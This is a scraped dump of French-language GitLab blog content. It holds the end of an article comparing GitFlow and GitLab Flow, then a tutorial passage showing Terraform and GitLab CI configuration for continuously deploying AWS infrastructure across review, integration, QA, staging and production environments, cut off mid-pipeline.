résoudre certains problèmes que pose GitFlow. Il simplifie le workflow, optimise le processus de développement, permettant ainsi à l'équipe de développement logiciel de travailler de manière plus efficace. Voici les principales différences entre les deux types de workflows. \n\n### Le workflow GitFlow\n\nLe workflow GitFlow comporte les cinq types de branches suivantes : \n\n1. main (branche de production)\n2. develop (branche de développement)\n3. feature (branche de fonctionnalité)\n4. release (branche de nouvelle version)\n5. hotfix (branche de correction urgente de bogue)\n\nSi vous utilisez GitFlow pour le développement de code, vous disposez d'une branche principale et de branches intermédiaires. Il y a deux principales branches de longue durée : la branche `main` pour le code prêt pour être mis en production, et la branche `develop` pour intégrer le code en cours de développement. Dans GitFlow, la branche `develop` est utilisée pour stabiliser le code avant de le fusionner avec la branche `main` lorsqu’il est prêt. Les branches intermédiaires sont des branches dédiées à d'autres tâches. Vous pouvez par exemple créer des branches `feature`, `release` et `hotfix`, chacune ayant sa propre fonction.  \n\n### Le workflow de GitLab Flow\n\nGitLab Flow permet une intégration continue plus efficace en réduisant la complexité de GitFlow, notamment pour les tâches liées à la sortie des versions, à l'ajout de tags, au merge des branches, et bien plus encore. \n\nGitLab Flow est une alternative simple à GitFlow qui allie un développement axé sur les fonctionnalités à une gestion de projets via des tickets. Il est conçu pour être plus simple, facile à comprendre et plus efficace, et inclut des bonnes pratiques pour les équipes de développement logiciel qui souhaitent livrer leurs fonctionnalités de manière fluide et de façon collaborative. \n\nGitLab Flow est le workflow utilisé pour le développement de GitLab. Il est structuré autour des branches suivantes : la branche principale (`main`) ; la branche de préproduction (`pre-production`), autrement dit la branche de test avant la sortie de la nouvelle version ; la branche de production pour la gestion du code déployé ; les branches pour le développement des fonctionnalités (`feature`) et les corrections de bogues (`hotfix`). Les équipes peuvent ajouter autant de branches de préproduction qu'elles le souhaitent. Par exemple, il est possible de créer un flux depuis la branche `main` vers la branche de test, puis de la branche de test vers la branche de validation, et enfin, de la branche de validation vers la branche de production. \n\nLes équipes gèrent ainsi des branches de fonctionnalité et des branches de production. Lorsque le code de la branche `main` est prêt pour le déploiement, il est fusionné dans la branche de production, puis déployé. GitLab Flow peut également inclure des branches `release`. Les équipes qui ont besoin d'une API publique doivent parfois gérer différentes versions simultanément. Avec GitLab Flow, elles peuvent créer et maintenir séparément des branches comme `v1` et `v2`. Ainsi, il est facile de repasser sur la branche `v1` si des bogues sont détectés lors d'une [revue de code](https://about.gitlab.com/fr-fr/topics/version-control/what-is-code-review/ \"Qu'est-ce que la revue de code ? \").\n\n## Quels sont les avantages de GitFlow ? \n\n### Correction rapide des bogues\n\nL'un des principaux avantages de GitFlow est que vous pouvez rapidement gérer les corrections de bogues dans l'environnement de production. Le workflow GitFlow est particulièrement utile pour les grandes équipes de développement logiciel travaillant sur des projets complexes. \n\n### Garantie des tests\n\nLors de la sortie d'une nouvelle version à partir d'une branche `release`, il vous est possible de configurer une période de test pendant laquelle les utilisateurs peuvent la tester dans un environnement de simulation. Cette phase peut être réalisée indépendamment du développement de code. En outre, les validations suivent un flux downstream pour s'assurer que chaque ligne de code est testée dans tous les environnements. \n\n### Optimisation du processus de développement logiciel\n\nGitFlow vous permet de tirer le meilleur parti de Git. Vous pourrez ainsi rendre vos processus de développement logiciel bien plus efficaces. \n\n### Collaboration renforcée et résolution des conflits de merge\n\nL'utilisation de GitFlow facilite la collaboration au sein d'une équipe, accélère la résolution des conflits de merge et assure une livraison continue bien plus efficace. \n\n## Exemples d'utilisation de GitFlow\nVoici une représentation schématique du workflow avec un exemple de configuration de GitFlow. Elle illustre la manière dont les branches sont organisées et interconnectées au sein du workflow. \n\n![Exemple de workflow GitFlow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673714/Blog/Content%20Images/AdobeStock_569852816.jpg)\n\n## FAQ sur GitLab Flow et GitFlow \n\n### Qu'est-ce que Git Feature Flow ? \n\nGit Feature Flow est une variante simplifiée de GitFlow, spécialement conçue pour faciliter le développement basé sur les fonctionnalités. \n\n### GitLab Flow est-il un choix judicieux ? \n\nTout à fait. GitLab Flow permet de réduire la charge de travail liée à la sortie des nouvelles versions, à l'ajout de tags et le merge de branches, ces tâches représentant un défi courant rencontré avec les workflows Git traditionnels. Pour en savoir plus, [cliquez ici](https://about.gitlab.com/fr-fr/topics/version-control/what-are-gitlab-flow-best-practices/). \n\n### Que choisir entre GitLab Flow et GitFlow ? \n\nGitFlow est structurellement mieux adapté aux grands projets avec des étapes de développement bien définies. GitLab Flow est plus flexible et convient aux projets nécessitant une livraison continue et une mise en production rapide pour un lancement fréquent de nouvelles versions. \n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas)",[1047,913],"2025-06-04",{"slug":2269,"featured":6,"template":683},"what-is-gitflow","content:fr-fr:blog:what-is-gitflow.yml","What Is Gitflow","fr-fr/blog/what-is-gitflow.yml","fr-fr/blog/what-is-gitflow",{"_path":2275,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2276,"content":2282,"config":2289,"_id":2291,"_type":16,"title":2292,"_source":17,"_file":2293,"_stem":2294,"_extension":20},"/fr-fr/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"ogTitle":2277,"schema":2278,"ogImage":2279,"ogDescription":2280,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2281,"title":2277,"canonicalUrls":2281,"description":2280},"Déployer en continu dans de multiples environnements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Déployer en continu dans de multiples environnements avec les pipelines enfants\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Olivier Dupré\"}],\n        \"datePublished\": \"2024-09-26\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097012/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750097011626.jpg","Découvrez comment créer un workflow rationalisé dans GitLab pour gérer le déploiement continu dans de multiples environnements.","https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"heroImage":2279,"body":2283,"authors":2284,"updatedDate":2285,"date":2286,"title":2287,"tags":2288,"description":2280,"category":825},"Les équipes DevSecOps doivent parfois coordonner le déploiement continu dans\ndes environnements différents, tout en préservant leurs workflows. La\n[plateforme DevSecOps de GitLab](https://about.gitlab.com/fr-fr) répond à ce\nbesoin, de manière simple et efficace, y compris avec des environnements\nsandbox temporaires créés à la demande. Découvrez dans cet article un\nexemple de mise en œuvre de ce processus en déployant une architecture avec\nTerraform sur plusieurs environnements cibles.\n\n\nCette stratégie s'adapte facilement qu'il s'agisse d'un projet d'Infrastructure as Code (IaC) utilisant une autre technologie comme [Pulumi](https://www.pulumi.com/) ou [Ansible](https://www.ansible.com/), d'un projet de code source ou d'un projet de dépôt monolithique combinant plusieurs langages.\n\n\nÀ la fin de ce tutoriel, le pipeline que vous aurez créé permettra de déployer :\n\n\n* Un environnement temporaire de **développement** pour chaque branche de fonctionnalité.\n\n* Un environnement d'**intégration**, qu'il est facile de supprimer et redéployer à partir de la branche principale.\n\n* Un environnement d'**assurance qualité (QA)**, également déployé à partir de la branche principale, pour exécuter les étapes de QA.\n\n* Un environnement de **préproduction** pour chaque tag, dernière étape avant la phase de production.\n\n* Un environnement de **production** qui dans cet exemple sera déployé manuellement, mais qui peut également être déployé en continu.\n\n\n> Légende des schémas figurant dans cet article :\n\n>\n\n> * Les encarts aux angles arrondis représentent les branches de GitLab.\n\n> * Les encarts rectangulaires représentent les environnements.\n\n> * Le texte sur les flèches représente les actions requises pour passer d'un encart à l'autre.\n\n> * Les encarts carrés représentent une prise de décision.\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n\nNous allons vous expliquer les [raisons](#why) des [actions](#what) présentées dans le flowchart ci-dessus, ainsi que [les étapes à suivre](#how) pour chacune d'elles. Ce tutoriel sera ainsi plus facile à suivre et vous pourrez le reproduire sans difficulté.\n\n\n## Raisons\n\n\n* [L'intégration continue (CI)](https://about.gitlab.com/fr-fr/topics/ci-cd/) constitue quasiment une norme établie. La plupart des entreprises implémentent des pipelines CI ou cherchent à standardiser leurs pratiques.\n\n* La [livraison continue (CD)](https://about.gitlab.com/fr-fr/topics/ci-cd/), qui consiste à effectuer la publication des artefacts vers un dépôt ou un registre à la fin du pipeline CI, est également courante.\n\n* L'étape suivante, le [déploiement continu](https://about.gitlab.com/fr-fr/topics/ci-cd/#what-is-continuous-deployment \"Qu'est-ce que le déploiement continu ? \"), qui automatise le déploiement de ces artefacts, est en revanche moins répandu. Il est essentiellement implémenté dans le domaine des applications. Le déploiement continu d'une infrastructure est plus compliqué et implique la gestion de plusieurs environnements. Tester, sécuriser et vérifier le code de l'infrastructure constitue un défi supplémentaire et c'est un domaine où le processus [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Que signifie DevOps ?\") n'a pas encore atteint sa pleine maturité. L'intégration de la sécurité en amont, qui nécessite l'implication des équipes de sécurité, représente également une difficulté. Et il est très important de prendre en compte les problèmes de sécurité dès les premières étapes du développement, afin de passer d'une approche DevOps à un processus **[DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\")**.\n\n\nCe tutoriel vous invite à tester une méthode simple et efficace pour adopter une approche DevSecOps pour votre infrastructure. Nous prendrons l'exemple du déploiement de ressources dans cinq environnements, du développement à la production.\n\n\n**Remarque :** même si je préconise l'adoption d'une [approche FinOps](https://about.gitlab.com/fr-fr/the-source/platform/finops-balancing-financial-responsibility-and-innovation/ \"Qu'est-ce que l'approche FinOps ? \") et la réduction du nombre d'environnements, il existe parfois d'excellentes raisons de ne pas se limiter aux simples étapes de développement, préproduction et production. N'hésitez pas à adapter les exemples en fonction de vos besoins.\n\n\n## Actions\n\n\nL’avènement du cloud a boosté l'utilisation de l'IaC. Ansible et Terraform ont ouvert la voie, suivis par OpenTofu, Pulumi, AWS CDK, Google Deploy Manager et bien d'autres.\n\n\nUne Infrastructure as Code est la solution parfaite pour déployer une infrastructure de manière sécurisée. Vous pouvez la tester, la déployer et la réappliquer autant de fois que nécessaire pour atteindre votre objectif.\n\n\nMalheureusement, les entreprises maintiennent souvent plusieurs branches, voire de multiples dépôts, pour chacun de leurs environnements cibles, ce qui crée des problèmes. Elles ne respectent plus un processus rigoureux. Elles ne s'assurent plus que chaque modification du code en production a été soigneusement testée dans les environnements précédents. Par conséquent, des décalages apparaissent peu à peu d'un environnement à l'autre.\n\n\nJ'ai réalisé que ce tutoriel était nécessaire lors d'une conférence à laquelle j'ai assisté : tous les participants ont déclaré que leur workflow n'imposait des tests rigoureux de l'infrastructure qu'avant le déploiement en production. Et ils ont tous convenu qu'ils appliquaient parfois des correctifs directement en production. Bien sûr, cette démarche permet d'aller vite, mais est-elle sûre ? Comment reporter les correctifs sur les environnements précédents ? Comment vérifier qu'il n'y a pas d'effets de bord ? Comment limiter les risques auxquels votre entreprise est exposée lorsque vous déployez votre code trop rapidement en production ?\n\n\nLa question essentielle est de savoir *pourquoi* les [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/build-a-devops-team/ \"Créer une structure d'équipe DevOps idéale\") déploient directement en production. Le pipeline devrait-il être plus efficace ou plus rapide ? N'est-il pas possible d'automatiser le processus ? Ou, pire encore, n'y a-t-il *aucun moyen de tester le code en dehors de l'environnement de production* ?\n\n\nDans la section suivante, vous apprendrez à automatiser votre infrastructure et à garantir que votre équipe DevOps mène des tests efficaces avant d'effectuer un push vers un environnement qui affectera le reste du processus. Vous verrez comment sécuriser votre code et contrôler son déploiement de bout en bout.\n\n\n## Les étapes à suivre\n\n\nComme mentionné précédemment, de nombreux langages permettent actuellement de gérer l'IaC et nous ne pouvons pas *tous* les aborder ici. Je vais m'appuyer sur un code Terraform version 1.4. Ne prêtez pas attention au langage utilisé pour gérer l'IaC, mais plutôt au processus transposable à votre écosystème.\n\n\n### Le code Terraform\n\n\nCommençons par un code Terraform de base.\n\n\nNous allons déployer sur AWS, un cloud privé virtuel (VPC), qui est un réseau virtuel. Dans ce VPC, nous déploierons un sous-réseau public et un sous-réseau privé. Comme leur nom l'indique, il s'agit de sous-réseaux du VPC principal. Enfin, nous ajouterons une instance Elastic Cloud Compute (EC2) (une machine virtuelle) dans le sous-réseau public.\n\n\nNous allons ainsi déployer quatre ressources de manière relativement simple. L'idée est de se concentrer sur le pipeline, et non sur le code.\n\n\nVoici la cible que nous voulons atteindre pour votre dépôt.\n\n\n![cible du dépôt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097033415.png)\n\n\nDécomposons le processus.\n\n\nTout d'abord, nous déclarons toutes les ressources dans un fichier `terraform/main.tf` :\n\n\n```terraform\n\nprovider \"aws\" {\n  region = var.aws_default_region\n}\n\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = var.aws_vpc_cidr\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n\n\nresource \"aws_subnet\" \"public_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_public_subnet_cidr\n\n  tags = {\n    Name = \"Public Subnet\"\n  }\n}\n\nresource \"aws_subnet\" \"private_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_private_subnet_cidr\n\n  tags = {\n    Name = \"Private Subnet\"\n  }\n}\n\n\nresource \"aws_instance\" \"sandbox\" {\n  ami           = var.aws_ami_id\n  instance_type = var.aws_instance_type\n\n  subnet_id = aws_subnet.public_subnet.id\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n\n```\n\n\nComme vous pouvez le constater, ce code nécessite plusieurs variables. Nous les déclarons dans un fichier `terraform/variables.tf` :\n\n\n```terraform\n\nvariable \"aws_ami_id\" {\n  description = \"The AMI ID of the image being deployed.\"\n  type        = string\n}\n\n\nvariable \"aws_instance_type\" {\n  description = \"The instance type of the VM being deployed.\"\n  type        = string\n  default     = \"t2.micro\"\n}\n\n\nvariable \"aws_vpc_cidr\" {\n  description = \"The CIDR of the VPC.\"\n  type        = string\n  default     = \"10.0.0.0/16\"\n}\n\n\nvariable \"aws_public_subnet_cidr\" {\n  description = \"The CIDR of the public subnet.\"\n  type        = string\n  default     = \"10.0.1.0/24\"\n}\n\n\nvariable \"aws_private_subnet_cidr\" {\n  description = \"The CIDR of the private subnet.\"\n  type        = string\n  default     = \"10.0.2.0/24\"\n}\n\n\nvariable \"aws_default_region\" {\n  description = \"Default region where resources are deployed.\"\n  type        = string\n  default     = \"eu-west-3\"\n}\n\n\nvariable \"aws_resources_name\" {\n  description = \"Default name for the resources.\"\n  type        = string\n  default     = \"demo\"\n}\n\n```\n\n\nÀ ce stade, nous avons presque terminé la partie IaC. Il nous manque simplement une méthode pour partager les états Terraform. Si vous l'ignorez, Terraform fonctionne schématiquement comme suit :\n\n\n* La commande `plan` vérifie les différences entre l'infrastructure actuelle et celle définie dans le code. Elle génère ensuite un rapport des différences.\n\n* La commande `apply` exécute les modifications en fonction du rapport `plan` et met à jour l'état.\n\n\nLors du premier passage, l'état est vide. Il comporte ensuite les détails (ID, etc.) des ressources appliquées par Terraform.\n\n\nLe problème est le suivant : où cet état est-il stocké ? Comment le partager pour permettre à plusieurs développeurs et développeuses de collaborer sur le code ?\n\n\nLa solution est assez simple : stockez et partagez l'état dans GitLab via un [backend HTTP Terraform](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html).\n\n\nLorsque vous utilisez ce backend, la première étape consiste à créer le fichier `terraform/backend.tf` le plus simple qui soit. La deuxième étape est prise en charge dans le pipeline.\n\n\n```terraform\n\nterraform {\n  backend \"http\" {\n  }\n}\n\n```\n\n\nEt voilà ! Nous disposons maintenant d'un code Terraform minimaliste pour déployer ces quatre ressources. Nous renseignerons les valeurs des variables lors de l'exécution à une étape ultérieure.\n\n\n### Le workflow\n\n\nMettons en œuvre le workflow suivant :\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n\n1. Créez une branche de **fonctionnalité**. Elle exécute tous les scanners en continu sur le code pour s'assurer qu'il est toujours conforme et sécurisé. Ce code est déployé en continu dans un environnement temporaire `review/feature_branch` portant le nom de la branche actuelle. Il s'agit d'un environnement sûr où les équipes de développement et d'opérations peuvent tester leur code sans impact sur le reste du Système d’Information (SI). Le processus, comme les revues de code et l'exécution de scanners, est imposé à cette étape pour assurer que la qualité et la sécurité du code sont suffisantes et ne mettent pas votre SI en danger. L'infrastructure déployée par cette branche est automatiquement détruite lorsque la branche est fermée. Vous pouvez ainsi contrôler votre budget.\n\n2. Une fois approuvée, la branche de fonctionnalité est **fusionnée** dans la branche principale. Il s'agit d'une [branche protégée](https://docs.gitlab.com/ee/user/project/protected_branches.html) où aucun push ne peut être effectué directement. Elle est nécessaire pour veiller à ce que chaque demande de modification de l'environnement de production soit minutieusement testée. Cette branche est également déployée en continu. La cible ici est l'environnement `integration`. La suppression de cet environnement n'est pas automatisée pour des questions de stabilité, mais elle peut être déclenchée manuellement.\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    D(main) -->|auto deploy| E[integration]\n\u003C/pre>\n\n\n3. Une approbation manuelle est ensuite nécessaire pour déclencher le déploiement suivant. La branche principale sera déployée dans l'environnement `qa`. J'ai défini une règle ici pour empêcher la suppression depuis le pipeline. Cet environnement devrait être assez stable (après tout, c'est déjà le troisième) et je souhaite éviter une suppression accidentelle. N'hésitez pas à adapter les règles à vos processus.\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    D(main)-->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\u003C/pre>\n\n\n4. Pour continuer, nous devons **ajouter un tag** au code. Nous utilisons les [tags protégés](https://docs.gitlab.com/ee/user/project/protected_tags.html) pour que seul un ensemble spécifique d'utilisateurs ait l'autorisation de déployer dans ces deux derniers environnements. Ce tag va immédiatement déclencher un déploiement dans l'environnement `staging`.\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    D(main) -->|tag| G(X.Y.Z)\n    F[qa] -->|validate| G\n\n    G -->|auto deploy| H[staging]\n\u003C/pre>\n\n\n5. Nous arrivons enfin à l'environnement `production`. Il est souvent difficile de déployer l'infrastructure progressivement (10 %, 25 %, etc.). Nous la déployons donc dans son intégralité. Nous contrôlons toutefois ce déploiement à l'aide d'un déclencheur manuel intégré dans cette dernière étape. Afin de garder un contrôle maximal sur cet environnement hautement critique, nous le contrôlons en tant qu'[environnement protégé](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n\n\u003Cpre class=\"mermaid\">\n\nflowchart LR\n    H[staging] -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n\n### Le pipeline\n\n\nPour mettre en œuvre le [workflow](#the-workflow) ci-dessus, nous allons maintenant implémenter un pipeline comportant deux [pipelines enfants](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html).\n\n\n#### Le pipeline principal\n\n\nCommençons par le pipeline principal. Il est déclenché automatiquement par un **push effectué vers une branche de fonctionnalité**, une **fusion vers la branche par défaut** ou un **tag**. *Il* effectue un vrai **déploiement continu** dans les environnements suivants : `dev`, `integration` et `staging`. Il est déclaré dans le fichier `.gitlab-ci.yml` à la racine de votre projet.\n\n\n![la cible du dépôt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097033417.png)\n\n\n```yml\n\nstages:\n  - test\n  - environments\n\n.environment:\n  stage: environments\n  variables:\n    TF_ROOT: terraform\n    TF_CLI_ARGS_plan: \"-var-file=../vars/$variables_file.tfvars\"\n  trigger:\n    include: .gitlab-ci/.first-layer.gitlab-ci.yml\n    strategy: depend            # Wait for the triggered pipeline to successfully complete\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nreview:\n  extends: .environment\n  variables:\n    environment: review/$CI_COMMIT_REF_SLUG\n    TF_STATE_NAME: $CI_COMMIT_REF_SLUG\n    variables_file: review\n    TF_VAR_aws_resources_name: $CI_COMMIT_REF_SLUG  # Used in the tag Name of the resources deployed, to easily differenciate them\n  rules:\n    - if: $CI_COMMIT_BRANCH && $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n\nintegration:\n  extends: .environment\n  variables:\n    environment: integration\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nstaging:\n  extends: .environment\n  variables:\n    environment: staging\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_TAG\n\n#### TWEAK\n\n# This tweak is needed to display vulnerability results in the merge widgets.\n\n# As soon as this issue https://gitlab.com/gitlab-org/gitlab/-/issues/439700 is resolved, the `include` instruction below can be removed.\n\n# Until then, the SAST IaC scanners will run in the downstream pipelines, but their results will not be available directly in the merge request widget, making it harder to track them.\n\n# Note: This workaround is perfectly safe and will not slow down your pipeline.\n\ninclude:\n  - template: Security/SAST-IaC.gitlab-ci.yml\n#### END TWEAK\n\n```\n\n\nCe pipeline n'exécute que deux étapes : `test` et  `environments`. La première est nécessaire pour que le *TWEAK* exécute les scanners. La seconde déclenche un pipeline enfant contenant un ensemble de variables différent pour chaque cas défini ci-dessus (push vers la branche, fusion dans la branche par défaut ou tag).\n\n\nNous ajoutons ici une dépendance avec le mot-clé [strategy:depend](https://docs.gitlab.com/ee/ci/yaml/index.html#triggerstrategy) sur notre pipeline enfant afin que la vue du pipeline dans GitLab ne soit mise à jour qu'une fois le déploiement terminé.\n\n\nComme vous le voyez, nous définissons un job de base [masqué](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs), puis nous ajoutons des variables et des règles spécifiques afin de déclencher un seul déploiement pour chaque environnement cible.\n\n\nOutre les [variables prédéfinies](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html), nous utilisons deux nouveaux éléments que nous devons définir :\n\n\n1. [Les variables spécifiques](#the-variable-definitions) à chaque environnement : `../vars/$variables_file.tfvars`\n\n2. [Le pipeline enfant](#the-child-pipeline), défini dans `.gitlab-ci/.first-layer.gitlab-ci.yml`\n\n\nCommençons par le plus rapide, les définitions des variables.\n\n\n### Les définitions des variables\n\n\nNous allons ici mélanger deux solutions pour fournir des variables à Terraform :\n\n\n* La première utilise des [fichiers .tfvars](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) pour tous les intrants ne contenant pas de données sensibles, qui doivent être stockées dans GitLab.\n\n\n![solution 1 pour fournir des variables à Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097033419.png)\n\n\n* La seconde utilise des [variables d'environnement](https://developer.hashicorp.com/terraform/language/values/variables#environment-variables) avec le préfixe `TF_VAR`. Combinée à la capacité de GitLab à [masquer les variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable), à [les protéger](https://docs.gitlab.com/ee/ci/variables/#protect-a-cicd-variable) et à les rendre [accessibles uniquement pour certains environnements](https://docs.gitlab.com/ee/ci/environments/index.html#limit-the-environment-scope-of-a-cicd-variable), cette deuxième façon d'injecter des variables est une solution puissante pour **empêcher les fuites d'informations contenant des données sensibles**. Par exemple, si vous considérez que le routage CIDR privé de votre environnement de production est une donnée sensible, vous pouvez le protéger de cette manière. Veillez à ce qu'il ne soit disponible que pour l'environnement `production`, pour les pipelines fonctionnant avec des branches et des tags protégés, et que sa valeur soit masquée dans les journaux du job.\n\n\n![solution 2 pour fournir des variables à Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097033422.png)\n\n\nDe plus, chaque fichier de variables doit être contrôlé via un [fichier `CODEOWNERS`](https://docs.gitlab.com/ee/user/project/codeowners/) où sont définies les personnes ayant l'autorisation d'apporter des modifications.\n\n\n```\n\n[Production owners] \n\nvars/production.tfvars @operations-group\n\n\n[Staging owners]\n\nvars/staging.tfvars @odupre @operations-group\n\n\n[CodeOwners owners]\n\nCODEOWNERS @odupre\n\n```\n\n\nCet article n'a pas pour but d'expliquer Terraform, nous allons donc simplement montrer le fichier `vars/review.tfvars`. Les fichiers d'environnement suivants sont, bien sûr, très similaires. Il suffit de définir les variables ne contenant pas de données sensibles et leurs valeurs ici.\n\n\n```shell\n\naws_vpc_cidr = \"10.1.0.0/16\"\n\naws_public_subnet_cidr = \"10.1.1.0/24\"\n\naws_private_subnet_cidr = \"10.1.2.0/24\"\n\n```\n\n\n#### Le pipeline enfant\n\n\nC'est dans ce pipeline que le travail concret est effectué. Il est donc un peu plus complexe que le premier. Mais rien qu'on ne puisse surmonter ensemble !\n\n\nComme nous l'avons vu dans la définition du pipeline principal, ce pipeline enfant est déclaré dans le fichier `.gitlab-ci/.first-layer.gitlab-ci.yml`.\n\n\n![Pipeline downstream déclaré dans le fichier](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097033424.png)\n\n\nDécomposons-le en petites étapes avant de revenir à une vue d'ensemble.\n\n\n##### Exécution des commandes Terraform et sécurisation du code\n\n\nNous allons d'abord mettre en place un pipeline pour Terraform. GitLab est une plateforme open source tout comme notre template de pipeline pour Terraform. Il vous suffit de l'inclure, en utilisant l'extrait de code suivant :\n\n\n```yml\n\ninclude:\n  - template: Terraform.gitlab-ci.yml\n```\n\n\nCe template exécute les vérifications Terraform sur le formatage et valide votre code, avant de le planifier et de l'appliquer. Il vous permet également de détruire ce que vous avez déployé.\n\n\nEn tant que plateforme DevSecOps unifiée, GitLab intègre deux scanners de sécurité directement dans ce template afin de détecter les menaces potentielles dans votre code et de vous avertir avant tout déploiement dans les environnements suivants.\n\n\nMaintenant que nous avons vérifié, sécurisé, compilé et déployé notre code, explorons quelques astuces supplémentaires.\n\n\n##### Partage du cache entre les jobs\n\n\nPour réutiliser les résultats des jobs dans les étapes suivantes du pipeline, nous allons activer la mise en cache. Il suffit d'ajouter le code suivant :\n\n\n```yml\n\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n```\n\n\nNous définissons ici un cache différent pour chaque commit, en revenant au nom de la branche principale si nécessaire.\n\n\nEn regardant de près les templates utilisés, on observe qu’ils contiennent des règles contrôlant l’exécution des jobs. Nous voulons exécuter tous les contrôles (assurance qualité et sécurité) sur toutes les branches. Nous allons donc personnaliser ces paramètres.\n\n\n##### Exécution des contrôles sur toutes les branches\n\n\nLes templates GitLab offrent une fonctionnalité puissante permettant de modifier uniquement certaines parties d’un template. Nous souhaitons seulement remplacer les règles de certains jobs afin de toujours exécuter des contrôles d'assurance qualité et de sécurité. Les autres paramètres de ces jobs resteront conformes au template.\n\n\n```yml\n\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - when: always\n\niac-sast:\n  rules:\n    - when: always\n```\n\n\nMaintenant que nous avons appliqué les contrôles d'assurance qualité et de sécurité, nous voulons différencier le comportement des environnements principaux (intégration et préproduction) dans le [workflow](#the-workflow) par rapport aux environnements de revue. Commençons par définir le comportement des environnements principaux. Nous modifierons ensuite cette configuration pour les environnements de revue.\n\n\n##### Pipeline CD pour l'intégration et la préproduction\n\n\nComme indiqué, nous voulons déployer la branche principale et les tags dans ces deux environnements. Nous ajoutons des règles pour contrôler ce déploiement sur les jobs `build` et `deploy`. Ensuite, nous activons la fonction `destroy` uniquement pour `integration`, car l'environnement `staging` est trop critique pour être supprimé en un seul clic. Les erreurs sont possibles et nous souhaitons les éviter.\n\n\nEnfin, nous relions le job `deploy` au job `destroy`, afin de pouvoir déclencher un `stop` sur l'environnement directement à partir de l'interface utilisateur graphique de GitLab.\n\n\n`GIT_STRATEGY` positionné à `none` empêche la récupération du code de la branche source dans le runner lors de la destruction. L'opération échouerait si la branche avait été supprimée manuellement. Nous comptons donc sur le cache pour obtenir tout ce dont nous avons besoin pour exécuter les instructions Terraform.\n\n\n```yml\n\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    